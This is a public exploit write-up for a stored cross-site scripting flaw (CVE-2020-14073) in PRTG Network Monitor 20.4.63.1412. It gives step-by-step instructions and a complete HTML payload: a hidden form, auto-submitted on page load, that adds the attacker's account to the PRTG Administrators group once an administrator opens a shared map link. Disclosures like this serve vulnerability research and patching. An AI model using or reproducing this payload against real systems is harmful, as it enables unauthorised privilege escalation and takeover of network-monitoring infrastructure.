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PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS

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# Exploit Title: PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS
# Date: 2/12/2020
# Exploit Author: Amin Rawah
# Vendor Homepage: https://www.paessler.com/prtg
# Software Link: https://www.paessler.com/prtg
# Version: 20.4.63.1412 x64
# Tested on: Windows 
# CVE : CVE-2020-14073

Description:
Since there is a stored XSS affecting 'maps' in the system, a malicious user can escalte his/her privilege to PRTG Administrator.

Steps:
1- Login to PRTG system and view source code (currentUserId)
2- Create a map, add an element, double click the element and modify the HTML section 'HTML After'
3- In 'HTML After' add the following code:
 <form action="http://<PRTG_SERVER>:8081/editsettings" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="name&#95;" value="PRTG&#32;Administrators" />
      <input type="hidden" name="defaulthome&#95;" value="&#47;welcome&#46;htm" />
      <input type="hidden" name="isadgroup" value="0" />
      <input type="hidden" name="adusertype&#95;" value="0" />
      <input type="hidden" name="aduserack&#95;" value="0" />
      <input type="hidden" name="users&#95;" value="1" />
      <input type="hidden" name="users&#95;" value="1" />
      <input type="hidden" name="users&#95;&#95;check" value="<currentUserId>&#124;<YOUR_USERNAME>&#124;" />
      <input type="hidden" name="users&#95;&#95;check" value="100&#124;PRTG&#32;System&#32;Administrator&#124;" />
      <input type="hidden" name="id" value="200" />
      <input type="hidden" name="targeturl" value="&#47;systemsetup&#46;htm&#63;tabid&#61;6" />
      <input type="submit" value="Submit request" />
    </form>
    <svg/onload='document.forms[0].submit()'/>  
4- Save and share the link with PRTG Administrator.
5- Login with the highest privilege.
            
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